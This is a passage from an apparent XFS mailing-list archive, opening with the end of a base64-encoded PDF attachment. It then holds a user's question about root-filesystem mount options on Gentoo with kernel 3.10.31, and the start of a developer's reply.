IDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbODEgMCBSIDgyIDAgUl0vUGcgMSAwIFI+Pg0KZW5k b2JqDQo4MSAwIG9iag0KPDwvUCA4MCAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAg Ui9LIDQwPj4NCmVuZG9iag0KODIgMCBvYmoNCjw8L1AgODAgMCBSL1MvTGluay9UeXBlL1N0cnVj dEVsZW0vS1s4MyAwIFIgODUgMCBSIDg3IDAgUl0vUGcgMSAwIFI+Pg0KZW5kb2JqDQo4MyAwIG9i ag0KPDwvVHlwZS9PQkpSL09iaiA4NCAwIFIvUGcgMSAwIFI+Pg0KZW5kb2JqDQo4NCAwIG9iag0K PDwvU3VidHlwZS9MaW5rL1JlY3RbODguOTc1IDMyOS45NjAgNTQ4IDM0My43NjBdL0JTPDwvVyAw Pj4vRiA0L0E8PC9UeXBlL0FjdGlvbi9TL1VSSS9VUkkgKG1haWx0bzpqZXJvbWUuYnV6ZW5ldDAx QGdtYWlsLmNvbSk+Pi9TdHJ1Y3RQYXJlbnQgMT4+DQplbmRvYmoNCjg1IDAgb2JqDQo8PC9UeXBl L09CSlIvT2JqIDg2IDAgUi9QZyAxIDAgUj4+DQplbmRvYmoNCjg2IDAgb2JqDQo8PC9TdWJ0eXBl L0xpbmsvUmVjdFswIDg0MS45MjAgMCA4NDEuOTIwXS9CUzw8L1cgMD4+L0YgNC9BPDwvVHlwZS9B Y3Rpb24vUy9VUkkvVVJJIChtYWlsdG86amVyb21lLmJ1emVuZXQwMUBnbWFpbC5jb20pPj4vU3Ry dWN0UGFyZW50IDI+Pg0KZW5kb2JqDQo4NyAwIG9iag0KPDwvUCA4MiAwIFIvUy9TcGFuL1R5cGUv U3RydWN0RWxlbS9QZyAxIDAgUi9LIDQxPj4NCmVuZG9iag0KODggMCBvYmoNCjw8L1AgNTIgMCBS L1MvUC9UeXBlL1N0cnVjdEVsZW0vS1s0Ml0vUGcgMSAwIFI+Pg0KZW5kb2JqDQo4OSAwIG9iag0K PDwvUCA1MiAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzQzXS9QZyAxIDAgUj4+DQplbmRvYmoN CjkwIDAgb2JqDQo8PC9QIDUyIDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbNDRdL1BnIDEgMCBS Pj4NCmVuZG9iag0KOTEgMCBvYmoNCjw8L1AgNTIgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1s0 NV0vUGcgMSAwIFI+Pg0KZW5kb2JqDQo5MiAwIG9iag0KPDwvUCA1MiAwIFIvUy9QL1R5cGUvU3Ry dWN0RWxlbS9LWzQ2XS9QZyAxIDAgUj4+DQplbmRvYmoNCjkzIDAgb2JqDQo8PC9QIDUyIDAgUi9T L1RleHRib3gvVHlwZS9TdHJ1Y3RFbGVtL0tbOTQgMCBSIDk1IDAgUiA5NiAwIFIgOTcgMCBSXS9Q ZyAxIDAgUj4+DQplbmRvYmoNCjk0IDAgb2JqDQo8PC9QIDkzIDAgUi9TL1NwYW4vVHlwZS9TdHJ1 Y3RFbGVtL1BnIDEgMCBSL0sgNTY+Pg0KZW5kb2JqDQo5NSAwIG9iag0KPDwvUCA5MyAwIFIvUy9Q L1R5cGUvU3RydWN0RWxlbS9LWzU3XS9QZyAxIDAgUj4+DQplbmRvYmoNCjk2IDAgb2JqDQo8PC9Q IDkzIDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbNThdL1BnIDEgMCBSPj4NCmVuZG9iag0KOTcg MCBvYmoNCjw8L1AgOTMgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1s1OV0vUGcgMSAwIFI+Pg0K ZW5kb2JqDQo5OCAwIG9iag0KPDwvUCA1MiAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzQ3XS9Q ZyAxIDAgUj4+DQplbmRvYmoNCjk5IDAgb2JqDQo8PC9QIDUyIDAgUi9TL1AvVHlwZS9TdHJ1Y3RF bGVtL0tbNDhdL1BnIDEgMCBSPj4NCmVuZG9iag0KMTAwIDAgb2JqDQo8PC9QIDUyIDAgUi9TL1Av VHlwZS9TdHJ1Y3RFbGVtL0tbNDldL1BnIDEgMCBSPj4NCmVuZG9iag0KMTAxIDAgb2JqDQo8PC9Q IDUyIDAgUi9TL1AvVHlwZS9TdHJ1Y3RFbGVtL0tbNTBdL1BnIDEgMCBSPj4NCmVuZG9iag0KMTAy IDAgb2JqDQo8PC9QIDUyIDAgUi9TL0ZpZ3VyZS9BbHQgKERJUkVDVFJJQ0UgREVTIE9QRVJBVElP TlMgOiBGUkFOQ0UgREFSTU9OKS9UeXBlL1N0cnVjdEVsZW0vS1s2MF0vUGcgMSAwIFI+Pg0KZW5k b2JqDQoxMDMgMCBvYmoNCjw8L1AgNTIgMCBSL1MvRmlndXJlL0FsdCAoKS9UeXBlL1N0cnVjdEVs ZW0vS1s2MV0vUGcgMSAwIFI+Pg0KZW5kb2JqDQoxMDQgMCBvYmoNCjw8L1AgNTIgMCBSL1MvUC9U eXBlL1N0cnVjdEVsZW0vS1s1MV0vUGcgMSAwIFI+Pg0KZW5kb2JqDQoxMDUgMCBvYmoNCjw8L1Ag NTIgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1s1Ml0vUGcgMSAwIFI+Pg0KZW5kb2JqDQoxMDYg MCBvYmoNCjw8L1AgNTIgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0vS1s1M10vUGcgMSAwIFI+Pg0K ZW5kb2JqDQoxMDcgMCBvYmoNCjw8L1AgNTIgMCBSL1MvRmlndXJlL0FsdCAoKS9UeXBlL1N0cnVj dEVsZW0vS1s2M10vUGcgMSAwIFI+Pg0KZW5kb2JqDQoxMDggMCBvYmoNCjw8L1AgNTIgMCBSL1Mv UC9UeXBlL1N0cnVjdEVsZW0vS1s1NF0vUGcgMSAwIFI+Pg0KZW5kb2JqDQoxMDkgMCBvYmoNCjw8 L1AgNTIgMCBSL1MvVGV4dGJveC9UeXBlL1N0cnVjdEVsZW0vS1sxMTAgMCBSIDExMSAwIFIgMTEy IDAgUiAxMTMgMCBSIDExNCAwIFJdL1BnIDEgMCBSPj4NCmVuZG9iag0KMTEwIDAgb2JqDQo8PC9Q IDEwOSAwIFIvUy9TcGFuL1R5cGUvU3RydWN0RWxlbS9QZyAxIDAgUi9LIDY0Pj4NCmVuZG9iag0K MTExIDAgb2JqDQo8PC9QIDEwOSAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzY1XS9QZyAxIDAg Uj4+DQplbmRvYmoNCjExMiAwIG9iag0KPDwvUCAxMDkgMCBSL1MvUC9UeXBlL1N0cnVjdEVsZW0v S1s2Nl0vUGcgMSAwIFI+Pg0KZW5kb2JqDQoxMTMgMCBvYmoNCjw8L1AgMTA5IDAgUi9TL1AvVHlw ZS9TdHJ1Y3RFbGVtL0tbNjddL1BnIDEgMCBSPj4NCmVuZG9iag0KMTE0IDAgb2JqDQo8PC9QIDEw OSAwIFIvUy9QL1R5cGUvU3RydWN0RWxlbS9LWzY4XS9QZyAxIDAgUj4+DQplbmRvYmoNCjExNSAw IG9iag0KPDwvQ3JlYXRvciAo/v8ATQBpAGMAcgBvAHMAbwBmAHQArgAgAFcAbwByAGQAIAAyADAA MQAzKS9LZXl3b3JkcyAod3d3Lk5lZXZpYS5jb20sIERvY3VtZW50IENvbnZlcnRlciBQcm8sIENv bnZlcnQgdG8gUERGIG9yIEltYWdlIGluIGJhdGNoZXMhKS9Qcm9kdWNlciAoTmVldmlhIERvY3Vt ZW50IENvbnZlcnRlciBQcm8gdjYuNSBcKGh0dHA6Ly9uZWV2aWEuY29tXCkpL0NyZWF0aW9uRGF0 ZSAoRDoyMDE0MDIwODA1NTMzMi0wNScwMCcpL01vZERhdGUgKEQ6MjAxNDAyMDgwNTUzMzItMDUn MDAnKT4+DQplbmRvYmoNCjExNiAwIG9iag0KPDwvQ291bnQgMS9UeXBlL1BhZ2VzL0tpZHNbMTE3 IDAgUl0+Pg0KZW5kb2JqDQoxMTcgMCBvYmoNCjw8L1R5cGUvUGFnZXMvUGFyZW50IDExNiAwIFIv S2lkc1sxIDAgUl0vQ291bnQgMT4+DQplbmRvYmoNCjExOCAwIG9iag0KPDwvU3RydWN0VHJlZVJv b3QgNDcgMCBSL01hcmtJbmZvPDwvTWFya2VkIHRydWU+Pi9MYW5nIChlbi1VUykvVHlwZS9DYXRh bG9nL1BhZ2VzIDExNiAwIFIvTWV0YWRhdGEgMTE5IDAgUj4+DQplbmRvYmoNCjExOSAwIG9iag0K PDwvTGVuZ3RoIDE3NTQvVHlwZS9NZXRhZGF0YS9TdWJ0eXBlL1hNTD4+c3RyZWFtDQo8P3hwYWNr ZXQgYmVnaW49J++7vycgaWQ9J1c1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCc/Pgo8P2Fkb2JlLXhh cC1maWx0ZXJzIGVzYz0iQ1JMRiI/Pgo8eDp4bXBtZXRhIHhtbG5zOng9J2Fkb2JlOm5zOm1ldGEv JyB4OnhtcHRrPSczLjEtNzAyJz4KPHJkZjpSREYgeG1sbnM6cmRmPSdodHRwOi8vd3d3LnczLm9y Zy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjJz4KPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9 J0M4ODE1NjNDLUZCMzktM0YzMC0zOUM1LTlFQzI1NTNEQjE2QicgeG1sbnM6cGRmPSdodHRwOi8v bnMuYWRvYmUuY29tL3BkZi8xLjMvJz48cGRmOktleXdvcmRzPnd3dy5OZWV2aWEuY29tLCBEb2N1 bWVudCBDb252ZXJ0ZXIgUHJvLCBDb252ZXJ0IHRvIFBERiBvciBJbWFnZSBpbiBiYXRjaGVzITwv cGRmOktleXdvcmRzPjxwZGY6UHJvZHVjZXI+TmVldmlhIERvY3VtZW50IENvbnZlcnRlciBQcm8g djYuNSAoaHR0cDovL25lZXZpYS5jb20pPC9wZGY6UHJvZHVjZXI+PC9yZGY6RGVzY3JpcHRpb24+ CjxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSdDODgxNTYzQy1GQjM5LTNGMzAtMzlDNS05RUMy NTUzREIxNkInIHhtbG5zOnhtcD0naHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyc+PHhtcDpN b2RpZnlEYXRlPjIwMTQtMDItMDhUMDU6NTM6MzItMDU6MDA8L3htcDpNb2RpZnlEYXRlPjx4bXA6 Q3JlYXRlRGF0ZT4yMDE0LTAyLTA4VDA1OjUzOjMyLTA1OjAwPC94bXA6Q3JlYXRlRGF0ZT48eG1w Ok1ldGFkYXRhRGF0ZT4yMDE0LTAyLTA4VDA1OjUzOjMyLTA1OjAwPC94bXA6TWV0YWRhdGFEYXRl Pjx4bXA6Q3JlYXRvclRvb2w+TWljcm9zb2Z0wq4gV29yZCAyMDEzPC94bXA6Q3JlYXRvclRvb2w+ PC9yZGY6RGVzY3JpcHRpb24+CjxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSdDODgxNTYzQy1G QjM5LTNGMzAtMzlDNS05RUMyNTUzREIxNkInIHhtbG5zOmRjPSdodHRwOi8vcHVybC5vcmcvZGMv ZWxlbWVudHMvMS4xLyc+PGRjOmZvcm1hdD5hcHBsaWNhdGlvbi9wZGY8L2RjOmZvcm1hdD48ZGM6 ZGVzY3JpcHRpb24+PHJkZjpBbHQ+PHJkZjpsaSB4bWw6bGFuZz0neC1kZWZhdWx0Jz48L3JkZjps aT48L3JkZjpBbHQ+PC9kYzpkZXNjcmlwdGlvbj48ZGM6Y3JlYXRvcj48cmRmOlNlcT48cmRmOmxp PjwvcmRmOmxpPjwvcmRmOlNlcT48L2RjOmNyZWF0b3I+PGRjOnRpdGxlPjxyZGY6QWx0PjxyZGY6 bGkgeG1sOmxhbmc9J3gtZGVmYXVsdCc+PC9yZGY6bGk+PC9yZGY6QWx0PjwvZGM6dGl0bGU+PC9y ZGY6RGVzY3JpcHRpb24+CjxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSdDODgxNTYzQy1GQjM5 LTNGMzAtMzlDNS05RUMyNTUzREIxNkInIHhtbG5zOnhtcE1NPSdodHRwOi8vbnMuYWRvYmUuY29t L3hhcC8xLjAvbW0vJz48eG1wTU06RG9jdW1lbnRJRD51dWlkOjUwMkM0MUY1LUZDQjMtNDBEQy0w MUU1LTdBODc5N0E5NjQzODwveG1wTU06RG9jdW1lbnRJRD48eG1wTU06SW5zdGFuY2VJRD51dWlk OkM4ODE1NjNDLUZCMzktM0YzMC0zOUM1LTlFQzI1NTNEQjE2QjwveG1wTU06SW5zdGFuY2VJRD48 L3JkZjpEZXNjcmlwdGlvbj4KCjwvcmRmOlJERj4KPC94OnhtcG1ldGE+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0ndyc/Pg0KZW5kc3RyZWFtDQplbmRvYmoN CnhyZWYNCjAgMTIwDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMTcgMDAwMDAgbg0KMDAw MDAwMDYxNiAwMDAwMCBuDQowMDAwMDAwNjY5IDAwMDAwIG4NCjAwMDAwMDIwMzkgMDAwMDAgbg0K MDAwMDAwMzY0NyAwMDAwMCBuDQowMDAwMDA0Njk1IDAwMDAwIG4NCjAwMDAwMDU1NjggMDAwMDAg bg0KMDAwMDAxMTE0NyAwMDAwMCBuDQowMDAwMDE2MTUzIDAwMDAwIG4NCjAwMDAwMjE4NjggMDAw MDAgbg0KMDAwMDAzMDg3NSAwMDAwMCBuDQowMDAwMDM3NDIxIDAwMDAwIG4NCjAwMDAwNjYwNTYg MDAwMDAgbg0KMDAwMDA2NjMzMiAwMDAwMCBuDQowMDAwMDY2NjA4IDAwMDAwIG4NCjAwMDAwNjY4 ODYgMDAwMDAgbg0KMDAwMDA2NzE2NCAwMDAwMCBuDQowMDAwMDY3MzM5IDAwMDAwIG4NCjAwMDAw Njc1NzYgMDAwMDAgbg0KMDAwMDA2ODE0OSAwMDAwMCBuDQowMDAwMDY4MzI5IDAwMDAwIG4NCjAw MDAwNjg1NzEgMDAwMDAgbg0KMDAwMDA2OTEwNiAwMDAwMCBuDQowMDAwMDY5Mjg4IDAwMDAwIG4N CjAwMDAwNjk1MzggMDAwMDAgbg0KMDAwMDA2OTc3MSAwMDAwMCBuDQowMDAwMDY5OTQzIDAwMDAw IG4NCjAwMDAwNzAxODUgMDAwMDAgbg0KMDAwMDEwMjc0OSAwMDAwMCBuDQowMDAwMTAyNzc0IDAw MDAwIG4NCjAwMDAxMDI5MTEgMDAwMDAgbg0KMDAwMDEwMjkzOSAwMDAwMCBuDQowMDAwMTAzMTA0 IDAwMDAwIG4NCjAwMDAxMDMxNzggMDAwMDAgbg0KMDAwMDEwMzQzMiAwMDAwMCBuDQowMDAwMTcy MTYxIDAwMDAwIG4NCjAwMDAxNzI1MzYgMDAwMDAgbg0KMDAwMDE3Mjk1MSAwMDAwMCBuDQowMDAw MTczMDkzIDAwMDAwIG4NCjAwMDAxNzMxMjEgMDAwMDAgbg0KMDAwMDE3MzI5MSAwMDAwMCBuDQow MDAwMTczMzY1IDAwMDAwIG4NCjAwMDAxNzM2MjQgMDAwMDAgbg0KMDAwMDIzMjczOCAwMDAwMCBu DQowMDAwMjMzMDc3IDAwMDAwIG4NCjAwMDAyMzM0NTQgMDAwMDAgbg0KMDAwMDI3MDUwMSAwMDAw MCBuDQowMDAwMjcwNjA4IDAwMDAwIG4NCjAwMDAyNzA4NjIgMDAwMDAgbg0KMDAwMDI3MDkxOSAw MDAwMCBuDQowMDAwMjcxNDM3IDAwMDAwIG4NCjAwMDAyNzE1MTYgMDAwMDAgbg0KMDAwMDI3MTkx NCAwMDAwMCBuDQowMDAwMjcyMDcxIDAwMDAwIG4NCjAwMDAyNzIxMzggMDAwMDAgbg0KMDAwMDI3 MjI0MyAwMDAwMCBuDQowMDAwMjcyMzIyIDAwMDAwIG4NCjAwMDAyNzIzOTEgMDAwMDAgbg0KMDAw MDI3MjQ1OCAwMDAwMCBuDQowMDAwMjcyNTYyIDAwMDAwIG4NCjAwMDAyNzI2MjkgMDAwMDAgbg0K MDAwMDI3MjY5NyAwMDAwMCBuDQowMDAwMjcyNzY1IDAwMDAwIG4NCjAwMDAyNzI4NDQgMDAwMDAg bg0KMDAwMDI3MjkxMiAwMDAwMCBuDQowMDAwMjcyOTgwIDAwMDAwIG4NCjAwMDAyNzMwNDggMDAw MDAgbg0KMDAwMDI3MzEyNyAwMDAwMCBuDQowMDAwMjczMTk1IDAwMDAwIG4NCjAwMDAyNzMyNjMg MDAwMDAgbg0KMDAwMDI3MzMzMSAwMDAwMCBuDQowMDAwMjczMzk5IDAwMDAwIG4NCjAwMDAyNzM0 NjcgMDAwMDAgbg0KMDAwMDI3MzUzNSAwMDAwMCBuDQowMDAwMjczNjQyIDAwMDAwIG4NCjAwMDAy NzM3MTAgMDAwMDAgbg0KMDAwMDI3Mzc3OCAwMDAwMCBuDQowMDAwMjczODQ2IDAwMDAwIG4NCjAw MDAyNzM5MTQgMDAwMDAgbg0KMDAwMDI3Mzk4MiAwMDAwMCBuDQowMDAwMjc0MDYxIDAwMDAwIG4N CjAwMDAyNzQxMzEgMDAwMDAgbg0KMDAwMDI3NDIyMCAwMDAwMCBuDQowMDAwMjc0Mjc0IDAwMDAw IG4NCjAwMDAyNzQ0MzggMDAwMDAgbg0KMDAwMDI3NDQ5MiAwMDAwMCBuDQowMDAwMjc0NjQ5IDAw MDAwIG4NCjAwMDAyNzQ3MTkgMDAwMDAgbg0KMDAwMDI3NDc4NyAwMDAwMCBuDQowMDAwMjc0ODU1 IDAwMDAwIG4NCjAwMDAyNzQ5MjMgMDAwMDAgbg0KMDAwMDI3NDk5MSAwMDAwMCBuDQowMDAwMjc1 MDU5IDAwMDAwIG4NCjAwMDAyNzUxNTggMDAwMDAgbg0KMDAwMDI3NTIyOCAwMDAwMCBuDQowMDAw Mjc1Mjk2IDAwMDAwIG4NCjAwMDAyNzUzNjQgMDAwMDAgbg0KMDAwMDI3NTQzMiAwMDAwMCBuDQow MDAwMjc1NTAwIDAwMDAwIG4NCjAwMDAyNzU1NjggMDAwMDAgbg0KMDAwMDI3NTYzNyAwMDAwMCBu DQowMDAwMjc1NzA2IDAwMDAwIG4NCjAwMDAyNzU4MjggMDAwMDAgbg0KMDAwMDI3NTkwOSAwMDAw MCBuDQowMDAwMjc1OTc4IDAwMDAwIG4NCjAwMDAyNzYwNDcgMDAwMDAgbg0KMDAwMDI3NjExNiAw MDAwMCBuDQowMDAwMjc2MTk3IDAwMDAwIG4NCjAwMDAyNzYyNjYgMDAwMDAgbg0KMDAwMDI3NjM3 OCAwMDAwMCBuDQowMDAwMjc2NDUwIDAwMDAwIG4NCjAwMDAyNzY1MjAgMDAwMDAgbg0KMDAwMDI3 NjU5MCAwMDAwMCBuDQowMDAwMjc2NjYwIDAwMDAwIG4NCjAwMDAyNzY3MzAgMDAwMDAgbg0KMDAw MDI3NzAzNiAwMDAwMCBuDQowMDAwMjc3MDk0IDAwMDAwIG4NCjAwMDAyNzcxNjUgMDAwMDAgbg0K MDAwMDI3NzI5NCAwMDAwMCBuDQp0cmFpbGVyDQo8PA0KL1NpemUgMTIwDQovUm9vdCAxMTggMCBS DQovSW5mbyAxMTUgMCBSDQovSUQgWzwxRTNCMzQ1QzUwQzIzOUVGNzE1RjdDNEE4REVBM0JBNz48 Q0YxNTJBOUZGQjM0MzZGMEI0OEI0RjdGMzUxNzUxQkQ+XQ0KPj4NCnN0YXJ0eHJlZg0KMjc5MTMw DQolJUVPRg0K ------=_Part_1358_69954819.1393143861352-- From weber@zbfmail.de Sun Feb 23 03:37:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2454C7F58 for ; Sun, 23 Feb 2014 03:37:12 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E8DA3304062 for ; Sun, 23 Feb 2014 01:37:11 -0800 (PST) X-ASG-Debug-ID: 1393148228-04bdf00fc02eae50001-NocioJ Received: from mail.zbfmail.de (mail.zbfmail.de [176.9.84.12]) by cuda.sgi.com with ESMTP id wOTJrX0u6MFcGzUG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 23 Feb 2014 01:37:09 -0800 (PST) X-Barracuda-Envelope-From: weber@zbfmail.de X-Barracuda-Apparent-Source-IP: 176.9.84.12 Received: from mail.zbfmail.de (localhost [127.0.0.1]) by mail.zbfmail.de (Postfix) with ESMTP id 5116A3143A8 for ; Sun, 23 Feb 2014 10:37:03 +0100 (CET) DKIM-Filter: OpenDKIM Filter v2.8.4 mail.zbfmail.de 5116A3143A8 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zbfmail.de; s=dkim; t=1393148227; bh=7aBO8BSEwXiuy5s7b+QbPfMw9B9p33eeQJxgnhUoCyw=; h=Date:From:To:Subject:Reply-To; b=mPFoIPm2sMXNMGDs0BMZPZegAgxxDola4BPOi0eT/WKag2lf5O42+AfgVDi3GFnQP Usx44SBZCWz+zqPzPkaqi4iGnKahq8xgscLb30HanXBnNIhKKthCohq1fcOfNbozNI 3HFHXWo6uys306RWwx6WHQ9TdPKMEXbMh5ZrV59I= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Date: Sun, 23 Feb 2014 10:37:03 +0100 From: Marko Weber|8000 To: Xfs Subject: gentoo linux, kernel 3.10.31 mount options =?UTF-8?Q?bug=3F?= Organization: zbf mail X-ASG-Orig-Subj: gentoo linux, kernel 3.10.31 mount options =?UTF-8?Q?bug=3F?= Reply-To: weber@zbfmail.de Mail-Reply-To: weber@zbfmail.de Message-ID: <9963a76fbd006355c9ffd79f341c9971@zbfmail.de> X-Sender: weber@zbfmail.de User-Agent: Roundcube zbfmail Webmail X-DCC-INFN-TO-Metrics: mailserver 1233; Body=1 Fuz1=1 Fuz2=1 X-Barracuda-Connect: mail.zbfmail.de[176.9.84.12] X-Barracuda-Start-Time: 1393148229 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145416 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature hello list, i have a question about mount options. at first my fstab: /dev/md0 /boot xfs noauto,noatime 1 2 /dev/md2 / xfs noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep 0 1 /dev/md1 /tmp xfs noexec,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep 0 1 /dev/VolGroup01/var-www /var/www xfs noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep 0 1 /dev/VolGroup01/var-log /var/log xfs noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep 0 1 /dev/VolGroup01/var-lib-mysql /var/lib/mysql xfs noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep 0 1 /dev/sda5 none swap sw,pri=1 0 0 /dev/sdb5 none swap sw,pri=2 0 0 (YES!, normally i use Label or UUID..... but this is only a test machine.....) AFTER reboot "mount" shows this: rootfs on / type rootfs (rw) /dev/root on / type xfs (rw,noatime,nodiratime,attr2,nobarrier,inode64,noquota) /dev/md1 on /tmp type xfs (rw,noexec,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) /dev/mapper/VolGroup01-var--www on /var/www type xfs (rw,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) /dev/mapper/VolGroup01-var--log on /var/log type xfs (rw,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) /dev/mapper/VolGroup01-var--lib--mysql on /var/lib/mysql type xfs (rw,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) on /dev/root "discrad" and some other are not shown when i do a "mount -o remount /" "mount" shows this: rootfs on / type rootfs (rw) /dev/root on / type xfs (rw,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) /dev/md1 on /tmp type xfs (rw,noexec,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) /dev/mapper/VolGroup01-var--www on /var/www type xfs (rw,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) /dev/mapper/VolGroup01-var--log on /var/log type xfs (rw,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) /dev/mapper/VolGroup01-var--lib--mysql on /var/lib/mysql type xfs (rw,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) now,all options from /etc/fstab are listed. Is this XFS related? Kernel 3.10.31 Grub2 in the /etc/grub.d/40_custom i have set: menuentry "gentoo linux 3.10.31" { insmod xfs insmod mdraid09 insmod mdraid1x insmod lvm set root=(hd0,2) linux /bzImage-3.10.31 root=/dev/md2 elevator=cfq clocksource=hpet cgroup_disable=memory } If you need any more info, let me know. thnaks for any tipps or answers marko From sandeen@sandeen.net Sun Feb 23 10:07:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 200AA7F37 for ; Sun, 23 Feb 2014 10:07:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6A3EAC003 for ; Sun, 23 Feb 2014 08:07:50 -0800 (PST) X-ASG-Debug-ID: 1393171668-04cbb00c2b70eb50001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id GgV9A9tgoI5cOpnx for ; Sun, 23 Feb 2014 08:07:48 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 47AC06519A79; Sun, 23 Feb 2014 10:07:48 -0600 (CST) Message-ID: <530A1CD3.8070204@sandeen.net> Date: Sun, 23 Feb 2014 10:07:47 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: weber@zbfmail.de, Xfs Subject: Re: gentoo linux, kernel 3.10.31 mount options bug? References: <9963a76fbd006355c9ffd79f341c9971@zbfmail.de> X-ASG-Orig-Subj: Re: gentoo linux, kernel 3.10.31 mount options bug? In-Reply-To: <9963a76fbd006355c9ffd79f341c9971@zbfmail.de> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393171668 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145424 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/23/14, 3:37 AM, Marko Weber|8000 wrote: > > > hello list, > > i have a question about mount options. > > at first my fstab: > > /dev/md0 /boot xfs noauto,noatime 1 2 > /dev/md2 / xfs noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep 0 1 I guess I won't ask why you decided to tweak all those knobs... > (YES!, normally i use Label or UUID..... but this is only a test machine.....) > > > AFTER reboot "mount" shows this: > > rootfs on / type rootfs (rw) > /dev/root on / type xfs (rw,noatime,nodiratime,attr2,nobarrier,inode64,noquota) default mount options > > on /dev/root "discrad" and some other are not shown > > > when i do a "mount -o remount /" > > "mount" shows this: > > > rootfs on / type rootfs (rw) > /dev/root on / type xfs (rw,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) > /dev/md1 on /tmp type xfs 